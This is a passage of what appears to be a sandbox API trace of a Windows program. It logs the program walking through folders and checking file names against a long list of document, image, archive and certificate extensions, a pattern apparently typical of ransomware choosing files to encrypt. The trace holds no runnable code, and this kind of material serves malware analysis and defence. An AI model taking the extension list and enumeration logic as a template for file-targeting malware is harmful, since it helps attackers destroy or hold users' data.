lstrlenW (lpString=".efd") returned 4 [0086.338] lstrcmpiW (lpString1=".efd", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".elf") returned 4 [0086.338] lstrcmpiW (lpString1=".elf", lpString2="inmd") returned -1 [0086.338] lstrlenW (lpString=".emf") returned 4 [0086.339] lstrcmpiW (lpString1=".emf", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".emz") returned 4 [0086.339] lstrcmpiW (lpString1=".emz", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".epf") returned 4 [0086.339] lstrcmpiW (lpString1=".epf", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".eps") returned 4 [0086.339] lstrcmpiW (lpString1=".eps", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".epsf") returned 5 [0086.339] lstrcmpiW (lpString1=".epsf", lpString2="winmd") returned -1 [0086.339] lstrlenW (lpString=".epsp") returned 5 [0086.339] lstrcmpiW (lpString1=".epsp", lpString2="winmd") returned -1 [0086.339] lstrlenW (lpString=".erf") returned 4 [0086.339] lstrcmpiW (lpString1=".erf", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".exr") returned 4 [0086.339] lstrcmpiW (lpString1=".exr", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".f4v") returned 4 [0086.339] lstrcmpiW (lpString1=".f4v", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".fido") returned 5 [0086.339] lstrcmpiW (lpString1=".fido", lpString2="winmd") returned -1 [0086.339] lstrlenW (lpString=".flm") returned 4 [0086.339] lstrcmpiW (lpString1=".flm", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".flv") returned 4 [0086.339] lstrcmpiW (lpString1=".flv", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".frm") returned 4 [0086.339] lstrcmpiW (lpString1=".frm", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".fxg") returned 4 [0086.339] lstrcmpiW (lpString1=".fxg", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".geo") returned 4 [0086.339] lstrcmpiW (lpString1=".geo", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".gif") returned 4 [0086.339] lstrcmpiW (lpString1=".gif", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".grs") returned 4 [0086.339] lstrcmpiW (lpString1=".grs", lpString2="inmd") returned -1 [0086.339] lstrlenW (lpString=".gz") returned 3 [0086.339] lstrcmpiW (lpString1=".gz", lpString2="nmd") returned -1 [0086.339] lstrlenW (lpString=".h") returned 2 [0086.339] lstrcmpiW (lpString1=".h", lpString2="md") returned -1 [0086.340] lstrlenW (lpString=".hdr") returned 4 [0086.340] lstrcmpiW (lpString1=".hdr", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".hpp") returned 4 [0086.340] lstrcmpiW (lpString1=".hpp", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".hta") returned 4 [0086.340] lstrcmpiW (lpString1=".hta", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".htc") returned 4 [0086.340] lstrcmpiW (lpString1=".htc", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".htm") returned 4 [0086.340] lstrcmpiW (lpString1=".htm", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".html") returned 5 [0086.340] lstrcmpiW (lpString1=".html", lpString2="winmd") returned -1 [0086.340] lstrlenW (lpString=".icb") returned 4 [0086.340] lstrcmpiW (lpString1=".icb", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".ics") returned 4 [0086.340] lstrcmpiW (lpString1=".ics", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".iff") returned 4 [0086.340] lstrcmpiW (lpString1=".iff", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".inc") returned 4 [0086.340] lstrcmpiW (lpString1=".inc", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".indd") returned 5 [0086.340] lstrcmpiW (lpString1=".indd", lpString2="winmd") returned -1 [0086.340] lstrlenW (lpString=".ini") returned 4 [0086.340] lstrcmpiW (lpString1=".ini", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".iqy") returned 4 [0086.340] lstrcmpiW (lpString1=".iqy", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".j2c") returned 4 [0086.340] lstrcmpiW (lpString1=".j2c", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".j2k") returned 4 [0086.340] lstrcmpiW (lpString1=".j2k", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".java") returned 5 [0086.340] lstrcmpiW (lpString1=".java", lpString2="winmd") returned -1 [0086.340] lstrlenW (lpString=".jp2") returned 4 [0086.340] lstrcmpiW (lpString1=".jp2", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".jpc") returned 4 [0086.340] lstrcmpiW (lpString1=".jpc", lpString2="inmd") returned -1 [0086.340] lstrlenW (lpString=".jpe") returned 4 [0086.340] lstrcmpiW (lpString1=".jpe", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".jpeg") returned 5 [0086.341] lstrcmpiW (lpString1=".jpeg", lpString2="winmd") returned -1 [0086.341] lstrlenW (lpString=".jpf") returned 4 [0086.341] lstrcmpiW (lpString1=".jpf", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".jpg") returned 4 [0086.341] lstrcmpiW (lpString1=".jpg", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".jpx") returned 4 [0086.341] lstrcmpiW (lpString1=".jpx", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".js") returned 3 [0086.341] lstrcmpiW (lpString1=".js", lpString2="nmd") returned -1 [0086.341] lstrlenW (lpString=".jsf") returned 4 [0086.341] lstrcmpiW (lpString1=".jsf", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".json") returned 5 [0086.341] lstrcmpiW (lpString1=".json", lpString2="winmd") returned -1 [0086.341] lstrlenW (lpString=".jsp") returned 4 [0086.341] lstrcmpiW (lpString1=".jsp", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".kdc") returned 4 [0086.341] lstrcmpiW (lpString1=".kdc", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".kmz") returned 4 [0086.341] lstrcmpiW (lpString1=".kmz", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".kwm") returned 4 [0086.341] lstrcmpiW (lpString1=".kwm", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".lasso") returned 6 [0086.341] lstrcmpiW (lpString1=".lasso", lpString2=".winmd") returned -1 [0086.341] lstrlenW (lpString=".lbi") returned 4 [0086.341] lstrcmpiW (lpString1=".lbi", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".lgf") returned 4 [0086.341] lstrcmpiW (lpString1=".lgf", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".lgp") returned 4 [0086.341] lstrcmpiW (lpString1=".lgp", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".log") returned 4 [0086.341] lstrcmpiW (lpString1=".log", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".m1v") returned 4 [0086.341] lstrcmpiW (lpString1=".m1v", lpString2="inmd") returned -1 [0086.341] lstrlenW (lpString=".m4a") returned 4 [0086.341] lstrcmpiW (lpString1=".m4a", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".m4v") returned 4 [0086.342] lstrcmpiW (lpString1=".m4v", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".max") returned 4 [0086.342] lstrcmpiW (lpString1=".max", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".md") returned 3 [0086.342] lstrcmpiW (lpString1=".md", lpString2="nmd") returned -1 [0086.342] lstrlenW (lpString=".mda") returned 4 [0086.342] lstrcmpiW (lpString1=".mda", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mdb") returned 4 [0086.342] lstrcmpiW (lpString1=".mdb", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mde") returned 4 [0086.342] lstrcmpiW (lpString1=".mde", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mdf") returned 4 [0086.342] lstrcmpiW (lpString1=".mdf", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mdw") returned 4 [0086.342] lstrcmpiW (lpString1=".mdw", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mef") returned 4 [0086.342] lstrcmpiW (lpString1=".mef", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mft") returned 4 [0086.342] lstrcmpiW (lpString1=".mft", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mfw") returned 4 [0086.342] lstrcmpiW (lpString1=".mfw", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mht") returned 4 [0086.342] lstrcmpiW (lpString1=".mht", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mhtml") returned 6 [0086.342] lstrcmpiW (lpString1=".mhtml", lpString2=".winmd") returned -1 [0086.342] lstrlenW (lpString=".mka") returned 4 [0086.342] lstrcmpiW (lpString1=".mka", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mkidx") returned 6 [0086.342] lstrcmpiW (lpString1=".mkidx", lpString2=".winmd") returned -1 [0086.342] lstrlenW (lpString=".mkv") returned 4 [0086.342] lstrcmpiW (lpString1=".mkv", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mos") returned 4 [0086.342] lstrcmpiW (lpString1=".mos", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mov") returned 4 [0086.342] lstrcmpiW (lpString1=".mov", lpString2="inmd") returned -1 [0086.342] lstrlenW (lpString=".mp3") returned 4 [0086.343] lstrcmpiW (lpString1=".mp3", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".mp4") returned 4 [0086.343] lstrcmpiW (lpString1=".mp4", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".mpeg") returned 5 [0086.343] lstrcmpiW (lpString1=".mpeg", lpString2="winmd") returned -1 [0086.343] lstrlenW (lpString=".mpg") returned 4 [0086.343] lstrcmpiW (lpString1=".mpg", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".mpv") returned 4 [0086.343] lstrcmpiW (lpString1=".mpv", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".mrw") returned 4 [0086.343] lstrcmpiW (lpString1=".mrw", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".msg") returned 4 [0086.343] lstrcmpiW (lpString1=".msg", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".mxl") returned 4 [0086.343] lstrcmpiW (lpString1=".mxl", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".myd") returned 4 [0086.343] lstrcmpiW (lpString1=".myd", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".myi") returned 4 [0086.343] lstrcmpiW (lpString1=".myi", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".nef") returned 4 [0086.343] lstrcmpiW (lpString1=".nef", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".nrw") returned 4 [0086.343] lstrcmpiW (lpString1=".nrw", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".obj") returned 4 [0086.343] lstrcmpiW (lpString1=".obj", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".odb") returned 4 [0086.343] lstrcmpiW (lpString1=".odb", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".odc") returned 4 [0086.343] lstrcmpiW (lpString1=".odc", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".odm") returned 4 [0086.343] lstrcmpiW (lpString1=".odm", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".odp") returned 4 [0086.343] lstrcmpiW (lpString1=".odp", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".ods") returned 4 [0086.343] lstrcmpiW (lpString1=".ods", lpString2="inmd") returned -1 [0086.343] lstrlenW (lpString=".oft") returned 4 [0086.343] lstrcmpiW (lpString1=".oft", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".one") returned 4 [0086.344] lstrcmpiW (lpString1=".one", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".onepkg") returned 7 [0086.344] lstrcmpiW (lpString1=".onepkg", lpString2="r.winmd") returned -1 [0086.344] lstrlenW (lpString=".onetoc2") returned 8 [0086.344] lstrcmpiW (lpString1=".onetoc2", lpString2="er.winmd") returned -1 [0086.344] lstrlenW (lpString=".opt") returned 4 [0086.344] lstrcmpiW (lpString1=".opt", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".oqy") returned 4 [0086.344] lstrcmpiW (lpString1=".oqy", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".orf") returned 4 [0086.344] lstrcmpiW (lpString1=".orf", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".p12") returned 4 [0086.344] lstrcmpiW (lpString1=".p12", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".p7b") returned 4 [0086.344] lstrcmpiW (lpString1=".p7b", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".p7c") returned 4 [0086.344] lstrcmpiW (lpString1=".p7c", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".pam") returned 4 [0086.344] lstrcmpiW (lpString1=".pam", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".pbm") returned 4 [0086.344] lstrcmpiW (lpString1=".pbm", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".pct") returned 4 [0086.344] lstrcmpiW (lpString1=".pct", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".pcx") returned 4 [0086.344] lstrcmpiW (lpString1=".pcx", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".pdd") returned 4 [0086.344] lstrcmpiW (lpString1=".pdd", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".pdf") returned 4 [0086.344] lstrcmpiW (lpString1=".pdf", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".pdp") returned 4 [0086.344] lstrcmpiW (lpString1=".pdp", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".pef") returned 4 [0086.344] lstrcmpiW (lpString1=".pef", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".pem") returned 4 [0086.344] lstrcmpiW (lpString1=".pem", lpString2="inmd") returned -1 [0086.344] lstrlenW (lpString=".pff") returned 4 [0086.345] lstrcmpiW (lpString1=".pff", lpString2="inmd") returned -1 [0086.345] lstrlenW (lpString=".pfm") returned 4 [0086.345] lstrcmpiW (lpString1=".pfm", lpString2="inmd") returned -1 [0086.345] lstrlenW (lpString=".pfx") returned 4 [0086.345] lstrcmpiW (lpString1=".pfx", lpString2="inmd") returned -1 [0086.345] lstrlenW (lpString=".pgm") returned 4 [0086.345] lstrcmpiW (lpString1=".pgm", lpString2="inmd") returned -1 [0086.345] lstrlenW (lpString=".php") returned 4 [0086.345] lstrcmpiW (lpString1=".php", lpString2="inmd") returned -1 [0086.345] lstrlenW (lpString=".php3") returned 5 [0086.345] lstrcmpiW (lpString1=".php3", lpString2="winmd") returned -1 [0086.345] lstrlenW (lpString=".php4") returned 5 [0086.345] lstrcmpiW (lpString1=".php4", lpString2="winmd") returned -1 [0086.345] lstrlenW (lpString=".php5") returned 5 [0086.345] lstrcmpiW (lpString1=".php5", lpString2="winmd") returned -1 [0086.345] lstrlenW (lpString=".phtml") returned 6 [0086.345] lstrcmpiW (lpString1=".phtml", lpString2=".winmd") returned -1 [0086.345] lstrlenW (lpString=".pict") returned 5 [0086.345] lstrcmpiW (lpString1=".pict", lpString2="winmd") returned -1 [0086.345] lstrlenW (lpString=".pl") returned 3 [0086.345] lstrcmpiW (lpString1=".pl", lpString2="nmd") returned -1 [0086.345] lstrlenW (lpString=".pls") returned 4 [0086.345] lstrcmpiW (lpString1=".pls", lpString2="inmd") returned -1 [0086.345] lstrlenW (lpString=".pm") returned 3 [0086.345] lstrcmpiW (lpString1=".pm", lpString2="nmd") returned -1 [0086.345] lstrlenW (lpString=".png") returned 4 [0086.345] lstrcmpiW (lpString1=".png", lpString2="inmd") returned -1 [0086.345] lstrlenW (lpString=".pnm") returned 4 [0086.345] lstrcmpiW (lpString1=".pnm", lpString2="inmd") returned -1 [0086.345] lstrlenW (lpString=".pot") returned 4 [0086.345] lstrcmpiW (lpString1=".pot", lpString2="inmd") returned -1 [0086.345] lstrlenW (lpString=".potm") returned 5 [0086.345] lstrcmpiW (lpString1=".potm", lpString2="winmd") returned -1 [0086.345] lstrlenW (lpString=".potx") returned 5 [0086.345] lstrcmpiW (lpString1=".potx", lpString2="winmd") returned -1 [0086.345] lstrlenW (lpString=".ppa") returned 4 [0086.346] lstrcmpiW (lpString1=".ppa", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".ppam") returned 5 [0086.346] lstrcmpiW (lpString1=".ppam", lpString2="winmd") returned -1 [0086.346] lstrlenW (lpString=".ppm") returned 4 [0086.346] lstrcmpiW (lpString1=".ppm", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".pps") returned 4 [0086.346] lstrcmpiW (lpString1=".pps", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".ppsm") returned 5 [0086.346] lstrcmpiW (lpString1=".ppsm", lpString2="winmd") returned -1 [0086.346] lstrlenW (lpString=".ppt") returned 4 [0086.346] lstrcmpiW (lpString1=".ppt", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".pptm") returned 5 [0086.346] lstrcmpiW (lpString1=".pptm", lpString2="winmd") returned -1 [0086.346] lstrlenW (lpString=".pptx") returned 5 [0086.346] lstrcmpiW (lpString1=".pptx", lpString2="winmd") returned -1 [0086.346] lstrlenW (lpString=".prn") returned 4 [0086.346] lstrcmpiW (lpString1=".prn", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".ps") returned 3 [0086.346] lstrcmpiW (lpString1=".ps", lpString2="nmd") returned -1 [0086.346] lstrlenW (lpString=".psb") returned 4 [0086.346] lstrcmpiW (lpString1=".psb", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".psd") returned 4 [0086.346] lstrcmpiW (lpString1=".psd", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".pst") returned 4 [0086.346] lstrcmpiW (lpString1=".pst", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".ptx") returned 4 [0086.346] lstrcmpiW (lpString1=".ptx", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".pub") returned 4 [0086.346] lstrcmpiW (lpString1=".pub", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".pwm") returned 4 [0086.346] lstrcmpiW (lpString1=".pwm", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".pxr") returned 4 [0086.346] lstrcmpiW (lpString1=".pxr", lpString2="inmd") returned -1 [0086.346] lstrlenW (lpString=".py") returned 3 [0086.346] lstrcmpiW (lpString1=".py", lpString2="nmd") returned -1 [0086.346] lstrlenW (lpString=".qt") returned 3 [0086.347] lstrcmpiW (lpString1=".qt", lpString2="nmd") returned -1 [0086.347] lstrlenW (lpString=".r3d") returned 4 [0086.347] lstrcmpiW (lpString1=".r3d", lpString2="inmd") returned -1 [0086.347] lstrlenW (lpString=".raf") returned 4 [0086.347] lstrcmpiW (lpString1=".raf", lpString2="inmd") returned -1 [0086.347] lstrlenW (lpString=".rar") returned 4 [0086.347] lstrcmpiW (lpString1=".rar", lpString2="inmd") returned -1 [0086.347] lstrlenW (lpString=".raw") returned 4 [0086.347] lstrcmpiW (lpString1=".raw", lpString2="inmd") returned -1 [0086.347] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.347] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6caf896e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa7452b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6caf896e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0086.347] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0086.347] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.347] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1 [0086.348] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.348] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d109a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c2c683a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0 [0086.348] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0086.348] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0086.350] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e476601, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe", cAlternateFileName="MICROS~3.SCA")) returned 1 [0086.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.353] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e58a1bc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa8cdeaf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e5b0416, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1 [0086.354] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0086.354] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5d667d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e5d667d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e5d667d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="StoreLogo.scale-100.png", cAlternateFileName="")) returned 1 [0086.354] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0086.354] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e4fcf04, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa7da30b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2e622b9b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppTiles", cAlternateFileName="")) returned 0 [0086.355] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0086.355] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.355] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1 [0086.355] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.355] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e622b9b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2e648df4, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2e648df4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="resources.pri", cAlternateFileName="")) returned 1 [0086.355] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0086.356] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cdd5a7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.BingWeather_4.18.56.0_neutral_~_8wekyb3d8bbwe", cAlternateFileName="MICROS~2.0_N")) returned 1 [0086.375] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce6e3c6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2ce94624, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2ce94624, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1 [0086.375] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0086.375] FindNextFileW (in: hFindFile=0x582ec8, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xb7a270e5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xb7a270e5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xb7a270e5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0 [0086.375] FindClose (in: hFindFile=0x582ec8 | out: hFindFile=0x582ec8) returned 1 [0086.375] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0086.375] FindNextFileW (in: 